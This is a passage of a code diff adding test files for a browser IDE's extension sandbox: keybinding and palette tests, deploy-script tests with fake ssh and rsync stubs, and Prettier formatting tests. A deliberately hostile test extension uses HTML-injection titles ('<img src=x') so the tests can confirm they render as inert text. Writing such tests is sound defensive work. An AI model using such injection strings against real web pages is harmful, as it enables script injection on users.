219+await page.waitForSelector('.quick-input-widget .quick-input-box input', { state: 'visible' });
220+await page.keyboard.type('Sort lines (ascending, case sensitive)');
221+const f1Rows = await until(() => page.evaluate(() => {
222+ const names = [...document.querySelectorAll('.quick-input-widget .monaco-list-row .label-name')].map(x => x.textContent.trim());
223+ return names.length ? names : null;
224+}));
225+ok('K3 F1 lists it too', !!f1Rows && f1Rows.includes('Sort lines (ascending, case sensitive)'), JSON.stringify(f1Rows?.slice(0, 4)));
226+await page.keyboard.press('Enter');
227+ok('K3 running it from F1 sorts the selection', !!(await until(async () => (await value(page)) === 'apple\nfig\npear\n')), JSON.stringify(await value(page)));
228+
229+// ── K4: F9, un paso de deshacer, cambios sin guardar, Cmd+S ──
230+await setValue(page, 'pear\napple\nfig\n');
231+await page.keyboard.press(`${MOD}+KeyS`);
232+await until(async () => !(await dirty(page)));
233+await select(page, 1, 1, 3, 4);
234+await page.keyboard.press('F9');
235+ok('K4 F9 with the editor focused sorts the selection', !!(await until(async () => (await value(page)) === 'apple\nfig\npear\n')), JSON.stringify(await value(page)));
236+ok('K4 the tab shows unsaved changes', !!(await until(() => dirty(page))));
237+await focusEditor(page);
238+await page.keyboard.press(`${MOD}+KeyZ`);
239+ok('K4 one undo step brings the file back', !!(await until(async () => (await value(page)) === 'pear\napple\nfig\n')), JSON.stringify(await value(page)));
240+await page.keyboard.press(`${MOD}+Shift+KeyZ`);
241+await until(async () => (await value(page)) === 'apple\nfig\npear\n');
242+await page.keyboard.press(`${MOD}+KeyS`);
243+ok('K4 Cmd+S writes the sorted file to the project, and the tab is clean', !!(await until(async () => (await readOpfs(page, 'fruits.txt')) === 'apple\nfig\npear\n' && !(await dirty(page)))), JSON.stringify(await readOpfs(page, 'fruits.txt')));
244+
245+// ── K5: menú contextual del editor ──
246+await focusEditor(page);
247+const box = await page.locator('#editor .view-lines').boundingBox();
248+await page.mouse.click(box.x + 40, box.y + 8, { button: 'right' });
249+// (el menú contextual de Monaco vive en un shadow root: los localizadores de
250+// Playwright lo atraviesan, querySelector no)
251+const menu = await until(async () => {
252+ const items = (await page.locator('.monaco-menu .action-label').allTextContents()).map(t => t.trim()).filter(Boolean);
253+ return items.length ? { items, imgs: await page.locator('.monaco-menu img, .monaco-menu svg[onload]').count() } : null;
254+}, { timeout: 8000 });
255+ok('K5 the editor’s context menu carries sort-lines’ command', !!menu && menu.items.includes('Sort lines (ascending, case sensitive)'), JSON.stringify(menu?.items?.slice(-6)));
256+ok('K8 …and hostile’s title there is text', !!menu && menu.items.some(t => t.includes('<img src=x')) && menu.imgs === 0, JSON.stringify(menu?.items?.filter(t => /Hostile/.test(t))));
257+await page.keyboard.press('Escape');
258+
259+// ── K6: atajos reservados y el conflicto, en el panel ──
260+const skipped = (await bridgeState(page)).extensions.find(e => e.id === idHostile)?.skipped || [];
261+const why = k => skipped.find(s => s.key === k)?.why || '';
262+// la tecla que cuenta en esta plataforma (mac en macOS, key en las demás)
263+const reserved = ['cmd+p', 'cmd+shift+p', 'ctrl+`', 'cmd+s', 'f1', 'cmd+shift+o', 'cmd+w'].map(k => (process.platform === 'darwin' ? k : k.replace('cmd', 'ctrl')));
264+ok('K6 hostile’s chords for Code’s and the browser’s shortcuts are not bound', reserved.every(k => /reserved/.test(why(k))), JSON.stringify(skipped));
265+ok('K6 its F9 loses to sort-lines, which was there first', /conflicts with tyriar\.sort-lines/.test(why('f9')), JSON.stringify(skipped.filter(s => s.key === 'f9')));
266+await open(page, 'fruits.txt');
267+await setValue(page, 'b\na\n');
268+await select(page, 1, 1, 2, 2);
269+await page.keyboard.press('F9');
270+ok('K6 so F9 still runs sort-lines', !!(await until(async () => (await value(page)) === 'a\nb\n')), JSON.stringify(await value(page)));
271+await focusEditor(page);
272+await page.keyboard.press('Alt+F9');
273+ok('K6 a chord nobody else has works (hostile’s Alt+F9)', !!(await until(async () => (await value(page)).startsWith('ALT '))), JSON.stringify(await value(page)));
274+await page.evaluate(() => { if (!(document.getElementById('ext-panel')?.isConnected && !document.getElementById('settings-panel').hidden)) document.getElementById('act-ext').click(); });
275+const keysRow = page.locator(`#ext-installed .ext-row[data-id="${idHostile}"] .ext-x2-keys`);
276+await until(async () => (await keysRow.count()) === 1);
277+await keysRow.locator('summary').click();
278+const listed = await keysRow.locator('li').allTextContents();
279+ok('K6 the Extensions panel lists each one with the reason', listed.length === 8 && listed.filter(t => /reserved/.test(t)).length === 7 && listed.some(t => /f9 .*Sort lines|f9 .*tyriar/.test(t)), JSON.stringify(listed));
280+const panelHostile = await page.evaluate(id => {
281+ const row = document.querySelector(`#ext-installed .ext-row[data-id="${id}"]`);
282+ return { text: row?.textContent || '', els: row ? row.querySelectorAll('.ext-x2-cmds img, .ext-x2-cmds svg, .ext-x2-cmds b, .ext-name i').length : -1 };
283+}, idHostile);
284+ok('K8 the panel shows hostile’s name and command titles as text', panelHostile.text.includes('Hostile <i>name</i>') && panelHostile.text.includes('<img src=x') && panelHostile.els === 0, JSON.stringify(panelHostile).slice(0, 300));
285+await page.click('#settings-close').catch(() => {});
286+
287+// ── K8: títulos hostiles en la paleta y en F1 ──
288+await open(page, 'fruits.txt');
289+await focusEditor(page);
290+await page.keyboard.press(`${MOD}+Shift+KeyP`);
291+await page.waitForSelector('#palette:not([hidden])');
292+await page.fill('#pal-input', '>hostile');
293+const palHostile = await until(() => page.evaluate(() => {
294+ const rows = [...document.querySelectorAll('#palette .pal-item')];
295+ return rows.length ? { names: rows.map(r => r.querySelector('.pi-name').textContent), hints: rows.map(r => r.querySelector('.pi-hint').textContent), els: document.querySelectorAll('#palette img, #palette svg, #palette .pal-item b').length } : null;
296+}));
297+ok('K8 Code’s palette shows the hostile title and name as text', !!palHostile && palHostile.names.some(n => n.includes(EVIL_TITLE)) && palHostile.hints.includes('Hostile <i>name</i>') && palHostile.els === 0, JSON.stringify(palHostile));
298+await closeOverlays(page);
299+await focusEditor(page);
300+await page.keyboard.press('F1');
301+await page.waitForSelector('.quick-input-widget .quick-input-box input', { state: 'visible' });
302+await page.keyboard.type('Hostile');
303+const f1Hostile = await until(() => page.evaluate(() => {
304+ const w = document.querySelector('.quick-input-widget');
305+ const names = [...w.querySelectorAll('.monaco-list-row .label-name')].map(x => x.textContent.trim());
306+ return names.length ? { names, els: w.querySelectorAll('img, svg[onload]').length } : null;
307+}));
308+ok('K8 F1 shows the hostile title as text', !!f1Hostile && f1Hostile.names.some(n => n.includes('<img src=x')) && f1Hostile.els === 0, JSON.stringify(f1Hostile));
309+await page.keyboard.press('Escape');
310+ok('K8 no handler from a title ran', !(await page.evaluate(() => window.__pwned)));
311+
312+// ── K7: los atajos de Code, con las dos en marcha ──
313+const withExt = await shortcuts(page);
314+const same = (a, b) => JSON.stringify(a) === JSON.stringify(b);
315+ok('K7 Cmd+P opens Code’s file palette, as without extensions', same(withExt.cmdP, ref.cmdP) && withExt.cmdP?.value === '', JSON.stringify([withExt.cmdP, ref.cmdP]));
316+ok('K7 Cmd+Shift+P opens it on commands (">"), as without extensions', same(withExt.cmdShiftP, ref.cmdShiftP) && withExt.cmdShiftP?.value === '>', JSON.stringify([withExt.cmdShiftP, ref.cmdShiftP]));
317+ok('K7 Ctrl+` toggles the terminal, as without extensions', same(withExt.ctrlBackquote, ref.ctrlBackquote) && ref.ctrlBackquote.after === 'false', JSON.stringify([withExt.ctrlBackquote, ref.ctrlBackquote]));
318+ok('K7 "@" in the palette goes to the file’s symbols, as without extensions', same(withExt.atRows, ref.atRows) && same(withExt.atOutline, ref.atOutline) && (ref.atOutline || []).includes('alpha'), JSON.stringify([withExt.atOutline, ref.atOutline]));
319+ok('K7 Cmd+Shift+O opens the same outline', same(withExt.cmdShiftO, ref.cmdShiftO) && (ref.cmdShiftO || []).includes('zeta'), JSON.stringify([withExt.cmdShiftO, ref.cmdShiftO]));
320+ok('K7 Cmd+S saves, as without extensions', withExt.cmdS === 'saved' && ref.cmdS === 'saved', JSON.stringify([withExt.cmdS, ref.cmdS]));
321+const ranCount = await page.evaluate(async () => (await import('/js/ext2/bridge.js')).runCommand('hostile.count'));
322+ok('K7 none of those chords ran hostile’s command (its counter is 0)', ranCount === '0', String(ranCount));
323+
324+// ── K9: privacidad ──
325+const sbx = [...new Set(srv.requests.filter(r => r.host.startsWith('localhost:')).map(r => r.url.split('?')[0]))];
326+ok('K9 the sandbox site was asked only for its two documents', sbx.length > 0 && sbx.every(u => u === '/x2/v1/sandbox.html' || u === '/x2/v1/exthost-iframe.html'), sbx.join(' '));
327+ok('K9 beacon: 0 hits', beacon.hits.length === 0, JSON.stringify(beacon.hits.slice(0, 3)));
328+ok('K9 no page errors', errors.length === 0, errors.slice(0, 3).join(' | '));
329+
330+await ctx.close();
331+await browser.close();
332+await beacon.close();
333+await srv.close();
334+console.log(fails ? `\n❌ ${fails} failed` : '\n✅ all passed');
335+process.exit(fails ? 1 : 0);
added tests/x2_deploy.mjs +183 −0
@@ -0,0 +1,183 @@
1+// The level 2 deploy scripts, without a server: deploy-vendor.sh and
2+// deploy-sandbox.sh run on a copy of the files they need, with fake `git`,
3+// `ssh` and `rsync` first in PATH. The fake ssh runs the remote commands
4+// against a folder that plays the server; nothing leaves this machine.
5+//
6+// node tests/x2_deploy.mjs (needs the local vendor build, or NOT RUN)
7+//
8+// D1 deploy-vendor.sh refuses while main's deploy.sh lacks the vendor/x2/
9+// filter (a deploy from main would delete the bundle), before any upload
10+// D2 a stray file next to the bundle (notes, .DS_Store) stops it before any
11+// upload; check-output.mjs names it, and a corrupt .gz is a problem, not
12+// a crash
13+// D3 a clean bundle: only the manifest's four files are uploaded, and the
14+// server's whole folder is compared with the manifest
15+// D4 a stray file already on the server makes it fail (full listing, not
16+// a glob)
17+// D5 deploy-sandbox.sh refuses a sandbox on Code's own site, and one that
18+// headers.json and config.js do not name, before any upload
19+// D6 deploy-sandbox.sh uploads the two documents only, even with a stray
20+// file next to them, and removes anything else on the server; with
21+// nothing set, it deploys x2.utopiaia.com (headers.json) to its folder
22+// D7 check-output.mjs --live: browsers ask for the bundle only when the
23+// manifest is on and config.js gives Code a sandbox (it does now)
24+import fs from 'node:fs';
25+import os from 'node:os';
26+import path from 'node:path';
27+import { spawnSync } from 'node:child_process';
28+import { fileURLToPath } from 'node:url';
29+
30+const HERE = path.dirname(fileURLToPath(import.meta.url));
31+const REPO = path.resolve(HERE, '..');
32+let fails = 0;
33+// (lo que dicen los scripts va en una línea y sin sus «✗», que run-modes.sh contaría como fallos)
34+const ok = (name, c, extra = '') => { const x = String(extra).replace(/✗/g, '(x)').replace(/\s*\n\s*/g, ' ⏎ '); console.log((c ? '✅' : '❌') + ' ' + name + (x ? ' — ' + x : '')); if (!c) fails++; };
35+
36+const manifest = JSON.parse(fs.readFileSync(path.join(REPO, 'web/js/ext2/vendor-manifest.json'), 'utf8'));
37+const build = path.join(REPO, 'web/vendor/x2', manifest.buildId);
38+if (!fs.existsSync(build)) { console.log(`⏭️ NOT RUN x2_deploy — web/vendor/x2/${manifest.buildId} is not built here (vendor/vscode-ext2/build.mjs)`); process.exit(0); }
39+
40+const T = fs.mkdtempSync(path.join(fs.realpathSync(os.tmpdir()), 'x2-deploy-'));
41+const bin = path.join(T, 'bin'), server = path.join(T, 'server'), repo = path.join(T, 'repo');
42+fs.mkdirSync(bin); fs.mkdirSync(server);
43+const copy = (rel, { dir = false } = {}) => fs.cpSync(path.join(REPO, rel), path.join(repo, rel), { recursive: dir });
44+for (const f of ['deploy-vendor.sh', 'deploy-sandbox.sh', 'vendor/vscode-ext2/check-output.mjs', 'vendor/vscode-ext2/sweep.mjs', 'vendor/vscode-ext2/sweep-allowlist.json',
45+ 'web/js/ext2/vendor-manifest.json', 'web/js/ext2/config.js', 'sandbox/x2/headers.mjs', 'sandbox/x2/headers.json']) copy(f);
46+copy('sandbox/x2/v1', { dir: true });
47+copy(`web/vendor/x2/${manifest.buildId}`, { dir: true });
48+
49+// ── las falsificaciones ──
50+const log = path.join(T, 'calls.log');
51+const exe = (name, body) => { fs.writeFileSync(path.join(bin, name), body); fs.chmodSync(path.join(bin, name), 0o755); };
52+// git show <ref>:deploy.sh → un deploy.sh con o sin el filtro, según FAKE_FILTER
53+exe('git', `#!/bin/sh
54+echo "git $*" >> "${log}"
55+ref=\${2%%:*}
56+case ",$FAKE_FILTER," in *",$ref,"*) echo "VENDOR=(--filter='P vendor/x2/***' --exclude='vendor/x2/')";; *) echo "rsync -az --delete web/ host:dest/";; esac
57+`);
58+// ssh -i KEY HOST "orden": /var/www/ es la carpeta del falso servidor; con
59+// find, la carpeta entera; con «sha256sum *.gz X», solo lo que nombra
60+function fakeSsh(LOG, SERVER) {
61+ const fs = require('fs'), path = require('path'), crypto = require('crypto');
62+ fs.appendFileSync(LOG, 'ssh ' + process.argv.slice(2).join(' ') + '\n');
63+ const cmd = process.argv.at(-1).replaceAll('/var/www/', SERVER);
64+ const dir = (/cd '([^']+)'/.exec(cmd) || /mkdir -p '([^']+)'/.exec(cmd) || [])[1];
65+ if (/^mkdir -p/.test(cmd)) { fs.mkdirSync(dir, { recursive: true }); process.exit(0); }
66+ // stat -c '%a %n' NAMES: the octal mode of each, as GNU stat prints it
67+ if (/stat -c '%a %n'/.test(cmd)) {
68+ for (const n of cmd.split("stat -c '%a %n' ")[1].trim().split(/\s+/)) console.log((fs.statSync(path.join(dir, n)).mode & 0o777).toString(8) + ' ' + n);
69+ process.exit(0);
70+ }
71+ if (/sha256sum/.test(cmd)) {
72+ if (!fs.existsSync(dir)) process.exit(1);
73+ const globs = /find \./.test(cmd) ? null : ((/sha256sum ([^"|;&]+)/.exec(cmd) || [])[1] || '').trim().split(/\s+/);
74+ const match = (g, f) => new RegExp('^' + g.split('*').map(x => x.replace(/[.+?^${}()|[\]\\]/g, '\\$&')).join('.*') + '$').test(f);
75+ for (const f of fs.readdirSync(dir).sort().filter(f => !globs || globs.some(g => match(g, f)))) {
76+ const p = path.join(dir, f);
77+ if (fs.statSync(p).isDirectory()) { console.error('sha256sum: ' + f + ': Is a directory'); continue; }
78+ console.log(crypto.createHash('sha256').update(fs.readFileSync(p)).digest('hex') + ' ' + f);
79+ }
80+ }
81+ process.exit(0);
82+}
83+// rsync [-a] [--ignore-existing] [--delete] [--files-from=F] [-e …] SRC/ HOST:DEST/
84+function fakeRsync(LOG, SERVER) {
85+ const fs = require('fs'), path = require('path');
86+ const a = process.argv.slice(2);
87+ const list = a.find(x => x.startsWith('--files-from='));
88+ const names = list ? fs.readFileSync(list.slice(13), 'utf8').split('\n').filter(Boolean) : null;
89+ fs.appendFileSync(LOG, 'rsync ' + a.filter(x => !x.startsWith('--files-from=')).join(' ') + (names ? ' files:' + names.join(',') : '') + '\n');
90+ const src = a.at(-2), dst = a.at(-1).replace(/^[^:]*:/, '').replaceAll('/var/www/', SERVER);
91+ fs.mkdirSync(dst, { recursive: true });
92+ const files = names || fs.readdirSync(src).filter(f => fs.statSync(path.join(src, f)).isFile());
93+ for (const f of files) { const to = path.join(dst, f); if (a.includes('--ignore-existing') && fs.existsSync(to)) continue; fs.copyFileSync(path.join(src, f), to); fs.chmodSync(to, fs.statSync(path.join(src, f)).mode & 0o777); }
94+ // rsync -a SRC/ DEST/ gives DEST the mode of SRC (a mktemp -d folder is 700)
95+ if (a.includes('-a') && !names) fs.chmodSync(dst, fs.statSync(src).mode & 0o777);
96+ if (a.includes('--delete') && !names) for (const f of fs.readdirSync(dst)) if (!files.includes(f)) fs.rmSync(path.join(dst, f), { recursive: true });
97+}
98+for (const [name, fn] of [['ssh', fakeSsh], ['rsync', fakeRsync]]) exe(name, `#!/usr/bin/env node\n(${fn.toString()})(${JSON.stringify(log)}, ${JSON.stringify(server + '/')});\n`);
99+
100+const run = (script, env = {}) => {
101+ fs.writeFileSync(log, '');
102+ const r = spawnSync('bash', [path.join(repo, script)], {
103+ env: { ...process.env, PATH: bin + ':' + process.env.PATH, ELFFUSS_HOST: 'nobody@deploy.invalid', ELFFUSS_KEY: '/nonexistent', ...env },
104+ encoding: 'utf8', timeout: 120000,
105+ });
106+ return { code: r.status, out: (r.stdout || '') + (r.stderr || ''), calls: fs.readFileSync(log, 'utf8').split('\n').filter(Boolean) };
107+};
108+const vendorDir = path.join(server, 'elffuss-code.utopiaia.com/vendor/x2', manifest.buildId);
109+const localBuild = path.join(repo, 'web/vendor/x2', manifest.buildId);
110+const want = [...manifest.files.map(f => f.name + '.gz'), manifest.licenses.name].sort();
111+
112+// D1
113+let r = run('deploy-vendor.sh', { FAKE_FILTER: 'HEAD' });
114+ok('D1 deploy-vendor.sh refuses while main’s deploy.sh lacks the vendor/x2/ filter, before uploading anything', r.code === 1 && /deploy\.sh de main no protege vendor\/x2\//.test(r.out)
115+ && !r.calls.some(c => /^(ssh|rsync) /.test(c)), r.out.slice(0, 200));
116+
117+// D2
118+fs.writeFileSync(path.join(localBuild, 'notes.txt'), 'scratch notes\n');
119+r = run('deploy-vendor.sh', { FAKE_FILTER: 'main,HEAD' });
120+ok('D2 a stray file next to the bundle stops it before any upload, and is named', r.code === 1 && /notes\.txt is not in the manifest/.test(r.out) && !r.calls.some(c => /^(ssh|rsync) /.test(c)), r.out.slice(0, 300));
121+fs.rmSync(path.join(localBuild, 'notes.txt'));
122+const gz = path.join(localBuild, manifest.files[2].name + '.gz');
123+const goodGz = fs.readFileSync(gz);
124+fs.writeFileSync(gz, goodGz.subarray(0, goodGz.length >> 1));
125+const co = spawnSync('node', [path.join(repo, 'vendor/vscode-ext2/check-output.mjs'), path.join(repo, 'web')], { encoding: 'utf8' });
126+ok('D2 a corrupt .gz is reported as a problem (it does not inflate), not a crash', co.status === 1 && /does not inflate/.test(co.stderr) && !/at .*check-output\.mjs/.test(co.stderr), co.stderr.slice(0, 300));
127+fs.writeFileSync(gz, goodGz);
128+
129+// D3
130+r = run('deploy-vendor.sh', { FAKE_FILTER: 'main,HEAD' });
131+const up = r.calls.find(c => c.startsWith('rsync ')) || '';
132+ok('D3 a clean bundle: only the manifest’s four files are uploaded, and the server’s folder then matches the manifest', r.code === 0 && /files:/.test(up)
133+ && up.split('files:')[1].split(',').sort().join() === want.join() && JSON.stringify(fs.readdirSync(vendorDir).sort()) === JSON.stringify(want), r.out.slice(-200));
134+
135+// D4
136+fs.writeFileSync(path.join(vendorDir, 'stray.txt'), 'left from before\n');
137+r = run('deploy-vendor.sh', { FAKE_FILTER: 'main,HEAD' });
138+ok('D4 a stray file already on the server makes it fail: the whole folder is compared, not a glob', r.code === 1 && /stray\.txt/.test(r.out), r.out.slice(0, 300));
139+
140+// D5
141+r = run('deploy-sandbox.sh', { X2_SANDBOX_DEST: '/var/www/x2-sandbox', X2_SANDBOX_ORIGIN: 'https://x2.elffuss.com' });
142+ok('D5 deploy-sandbox.sh refuses a sandbox on Code’s own site (x2.elffuss.com), before uploading', r.code === 1 && /same site as https:\/\/code\.elffuss\.com/.test(r.out) && !r.calls.some(c => /^(ssh|rsync) /.test(c)), r.out.slice(0, 300));
143+r = run('deploy-sandbox.sh', { X2_SANDBOX_DEST: '/var/www/x2-sandbox', X2_SANDBOX_ORIGIN: 'https://x2.sandbox-elsewhere.example' });
144+ok('D5 …and a sandbox on another site that headers.json and config.js do not name, before uploading', r.code === 1
145+ && /headers\.json names https:\/\/x2\.utopiaia\.com for production/.test(r.out) && /config\.js names https:\/\/x2\.utopiaia\.com for code\.elffuss\.com/.test(r.out)
146+ && !r.calls.some(c => /^(ssh|rsync) /.test(c)), r.out.slice(0, 300));
147+
148+// D6
149+fs.writeFileSync(path.join(repo, 'sandbox/x2/v1/notes.txt'), 'not for the server\n');
150+const sbx = path.join(server, 'x2-sandbox/x2/v1');
151+fs.mkdirSync(sbx, { recursive: true });
152+fs.writeFileSync(path.join(sbx, 'old.html'), 'an old document\n');
153+r = run('deploy-sandbox.sh', { X2_SANDBOX_DEST: '/var/www/x2-sandbox', X2_SANDBOX_ORIGIN: 'https://x2.utopiaia.com' });
154+ok('D6 deploy-sandbox.sh uploads only its two documents (not a stray file next to them) and leaves nothing else on the server', r.code === 0
155+ && JSON.stringify(fs.readdirSync(sbx).sort()) === JSON.stringify(['exthost-iframe.html', 'sandbox.html']), r.out.slice(-300));
156+r = run('deploy-sandbox.sh');
157+const sbxProd = path.join(server, 'x2.utopiaia.com/x2/v1');
158+ok('D6 with no origin or folder set, it deploys x2.utopiaia.com (headers.json) to /var/www/x2.utopiaia.com', r.code === 0
159+ && r.calls.some(c => c.startsWith('rsync ') && c.endsWith(':/var/www/x2.utopiaia.com/x2/v1/'))
160+ && fs.existsSync(sbxProd) && JSON.stringify(fs.readdirSync(sbxProd).sort()) === JSON.stringify(['exthost-iframe.html', 'sandbox.html'])
161+ && /X2_SANDBOX=https:\/\/x2\.utopiaia\.com node tests\/x2_headers\.mjs/.test(r.out), r.out.slice(-300));
162+const modes = fs.existsSync(sbxProd) ? [sbxProd, ...['sandbox.html', 'exthost-iframe.html'].map(f => path.join(sbxProd, f))].map(p => (fs.statSync(p).mode & 0o777).toString(8)).join(' ') : 'missing';
163+ok('D6 the web server can read what it uploaded: folder 755, documents 644 (rsync -a of a mktemp folder left 700 and both 404)', modes === '755 644 644', modes);
164+
165+// D7
166+const live = (env = {}) => spawnSync('node', [path.join(repo, 'vendor/vscode-ext2/check-output.mjs'), '--live', path.join(repo, 'web')], { encoding: 'utf8', env: { ...process.env, ...env } }).status;
167+const today = live();
168+const cfg = path.join(repo, 'web/js/ext2/config.js');
169+const cfg0 = fs.readFileSync(cfg, 'utf8');
170+const PROD = "'code.elffuss.com': 'https://x2.utopiaia.com',";
171+const cfgNone = cfg0.replace(PROD, "'code.elffuss.com': null,");
172+fs.writeFileSync(cfg, cfgNone);
173+const noSandbox = live();
174+fs.writeFileSync(cfg, cfg0);
175+const man = path.join(repo, 'web/js/ext2/vendor-manifest.json');
176+fs.writeFileSync(man, JSON.stringify({ ...manifest, enabled: false }));
177+const switchedOff = live();
178+ok('D7 check-output --live: yes today (config.js gives Code x2.utopiaia.com), no without a sandbox for Code, no with the kill switch', cfg0.includes(PROD) && cfgNone !== cfg0
179+ && today === 0 && noSandbox === 3 && switchedOff === 3, JSON.stringify({ today, noSandbox, switchedOff }));
180+
181+fs.rmSync(T, { recursive: true, force: true });
182+console.log(fails ? `\n❌ ${fails} failed` : '\n✅ all passed');
183+process.exit(fails ? 1 : 0);
added tests/x2_format.mjs +201 −0
@@ -0,0 +1,201 @@
1+// Formatting with a real web extension: Prettier in Code.
2+//
3+// node tests/x2_format.mjs (own server; without the pinned .vsix in
4+// tests/.cache and no network: NOT RUN)
5+//
6+// esbenp.prettier-vscode 12.4.0 (pinned, SHA-256 checked) is installed with its
7+// code through Code's own install path for a .vsix file.
8+//
9+// F1 before it, Format Document uses Monaco's built-in formatter (the
10+// reference for F6 and F7)
11+// F2 Format Document with Prettier: `const x = {a:1,b:[1,2,3]}` becomes
12+// `const x = { a: 1, b: [1, 2, 3] };`
13+// F3 one undo step brings the text back; the tab shows unsaved changes;
14+// Cmd+S writes the formatted file to the project
15+// F4 Shift+Alt+F formats too
16+// F5 {"prettier.semi": false} in its settings changes the output
17+// F6 "built-in" as the formatter for javascript: Monaco formats again;
18+// back to Prettier
19+// F7 its code turned off: the sandbox stops and the built-in formatter is
20+// back; turned on again: Prettier formats
21+// F8 a race with an agent write: the extension's edit computed on the old
22+// text is discarded, the status bar says so, the agent's text stays, and
23+// the next format works on the new text
24+// F9 the beacon gets nothing, the sandbox site only its two documents, no
25+// page errors
26+import { chromium } from 'playwright';
27+import { startServer } from './lib/x2-server.mjs';
28+import { startBeacon } from './lib/beacon.mjs';
29+import { fetchVsix, PINNED } from './lib/x2-vsix.mjs';
30+
31+let fails = 0;
32+const ok = (name, c, extra = '') => { console.log((c ? '✅' : '❌') + ' ' + name + (extra ? ' — ' + extra : '')); if (!c) fails++; };
33+const sleep = ms => new Promise(r => setTimeout(r, ms));
34+async function until(fn, { timeout = 20000, every = 150 } = {}) {
35+ const end = Date.now() + timeout;
36+ let v;
37+ while (Date.now() < end) { try { v = await fn(); if (v) return v; } catch { /* reintenta */ } await sleep(every); }
38+ return v;
39+}
40+const MOD = process.platform === 'darwin' ? 'Meta' : 'Control';
41+
42+let prettier;
43+try { prettier = (await fetchVsix({ ...PINNED.find(p => p.name === 'prettier-vscode'), offline: process.env.X2_OFFLINE === '1' })).bytes; }
44+catch (e) { console.log(`⏭️ NOT RUN x2_format — esbenp.prettier-vscode@12.4.0: ${e.message}`); process.exit(0); }
45+
46+const UGLY = 'const x = {a:1,b:[1,2,3]}\n';
47+const PRETTY = 'const x = { a: 1, b: [1, 2, 3] };\n';
48+const NOSEMI = 'const x = { a: 1, b: [1, 2, 3] }\n';
49+// un fichero largo: a Prettier le cuesta más que al agente escribir encima
50+const BIG = Array.from({ length: 1500 }, (_, i) => `const v${i} = {k:${i},list:[${i},${i + 1}]}`).join('\n') + '\n';
51+
52+const srv = await startServer();
53+const beacon = await startBeacon();
54+const browser = await chromium.launch({ args: [`--host-resolver-rules=${beacon.resolverRules}`] });
55+const ctx = await browser.newContext({ viewport: { width: 1280, height: 860 } });
56+await ctx.addInitScript(() => { try { localStorage.setItem('elffusscode.model', 'rules'); localStorage.setItem('elffusscode.ext.onlyWorks', '0'); } catch { /* — */ } });
57+const page = await ctx.newPage();
58+const errors = [];
59+page.on('pageerror', e => { if (e.message !== 'Canceled') errors.push(e.message); });
60+await page.goto(srv.codeOrigin + '/', { waitUntil: 'domcontentloaded' });
61+await page.evaluate(async ({ UGLY, BIG }) => {
62+ const o = await navigator.storage.getDirectory();
63+ const w = async (n, t) => { const f = await o.getFileHandle(n, { create: true }); const s = await f.createWritable(); await s.write(t); await s.close(); };
64+ await w('ugly.js', UGLY);
65+ await w('big.js', BIG);
66+}, { UGLY, BIG });
67+await page.goto(srv.codeOrigin + '/?test-opfs', { waitUntil: 'domcontentloaded' });
68+await page.waitForFunction(() => !!window.monaco?.editor?.getEditors?.().length, null, { timeout: 30000 });
69+
70+const open = p => page.evaluate(async p => { await (await import('/js/ide.js')).openFile(p); }, p);
71+const value = () => page.evaluate(() => window.monaco.editor.getEditors()[0].getModel().getValue());
72+const setValue = v => page.evaluate(v => window.monaco.editor.getEditors()[0].getModel().setValue(v), v);
73+const readOpfs = name => page.evaluate(async n => { const o = await navigator.storage.getDirectory(); return (await (await o.getFileHandle(n)).getFile()).text(); }, name);
74+const dirty = () => page.evaluate(() => document.querySelector('#tabs-bar .tab.active .tab-x')?.classList.contains('dirty') || false);
75+const focusEditor = async () => { await page.evaluate(() => window.monaco.editor.getEditors()[0].focus()); await sleep(100); };
76+const formatDoc = () => page.evaluate(async () => { const ed = window.monaco.editor.getEditors()[0]; ed.focus(); await ed.getAction('editor.action.formatDocument').run(); });
77+const host = fn => page.evaluate(fn);
78+const bridgeState = () => page.evaluate(async () => (await import('/js/ext2/bridge.js')).state());
79+// formatea hasta obtener `want` (la primera vez Prettier carga sus analizadores)
80+async function formatsTo(want, tries = 20) {
81+ for (let i = 0; i < tries; i++) {
82+ await formatDoc();
83+ if (await until(async () => (await value()) === want, { timeout: 1500 })) return true;
84+ }
85+ return false;
86+}
87+
88+// ── F1: la referencia, sin extensiones ──
89+await open('ugly.js');
90+// (el formateador de serie necesita su worker listo: se reintenta)
91+let builtin = null;
92+for (let i = 0; i < 20 && !builtin; i++) {
93+ await formatDoc();
94+ builtin = await until(async () => { const v = await value(); return v !== UGLY ? v : null; }, { timeout: 1500 });
95+}
96+ok('F1 with no extension, Format Document uses Monaco’s built-in formatter', builtin === NOSEMI, JSON.stringify(builtin));
97+await setValue(UGLY);
98+
99+// ── instalar Prettier con su código ──
100+const id = await page.evaluate(async b64 => {
101+ const bin = atob(b64);
102+ const u8 = new Uint8Array(bin.length);
103+ for (let i = 0; i < bin.length; i++) u8[i] = bin.charCodeAt(i);
104+ const h = await (await import('/js/ide.js')).loadExt();
105+ return (await h.install(new File([u8], 'prettier.vsix'), { withCode: true })).id;
106+}, Buffer.from(prettier).toString('base64'));
107+const active = await until(async () => { const s = await bridgeState(); return s.state === 'running' && s.extensions.find(e => e.id === id)?.state === 'active' ? s : null; }, { timeout: 90000 });
108+ok('Prettier installed with its code, running in the sandbox', !!active, JSON.stringify((await bridgeState()).extensions.map(e => [e.id, e.state, e.text])));
109+
110+// ── F2–F3 ──
111+await page.keyboard.press(`${MOD}+KeyS`);
112+await until(async () => !(await dirty()));
113+ok('F2 Format Document with Prettier', await formatsTo(PRETTY), JSON.stringify(await value()));
114+ok('F3 the tab shows unsaved changes', !!(await until(() => dirty())));
115+await focusEditor();
116+await page.keyboard.press(`${MOD}+KeyZ`);
117+ok('F3 one undo step brings the text back', !!(await until(async () => (await value()) === UGLY)), JSON.stringify(await value()));
118+await page.keyboard.press(`${MOD}+Shift+KeyZ`);
119+await until(async () => (await value()) === PRETTY);
120+await page.keyboard.press(`${MOD}+KeyS`);
121+ok('F3 Cmd+S writes the formatted file to the project', !!(await until(async () => (await readOpfs('ugly.js')) === PRETTY && !(await dirty()))), JSON.stringify(await readOpfs('ugly.js')));
122+
123+// ── F4: Shift+Alt+F ──
124+await setValue(UGLY);
125+let viaKeys = false;
126+for (let i = 0; i < 10 && !viaKeys; i++) {
127+ await focusEditor();
128+ await page.keyboard.press('Shift+Alt+KeyF');
129+ viaKeys = !!(await until(async () => (await value()) === PRETTY, { timeout: 1500 }));
130+}
131+ok('F4 Shift+Alt+F formats with Prettier', viaKeys, JSON.stringify(await value()));
132+
133+// ── F5: sus ajustes ──
134+await host(async () => { const h = await (await import('/js/ide.js')).loadExt(); await h.setSettings('esbenp.prettier-vscode', { 'prettier.semi': false }); });
135+await setValue(UGLY);
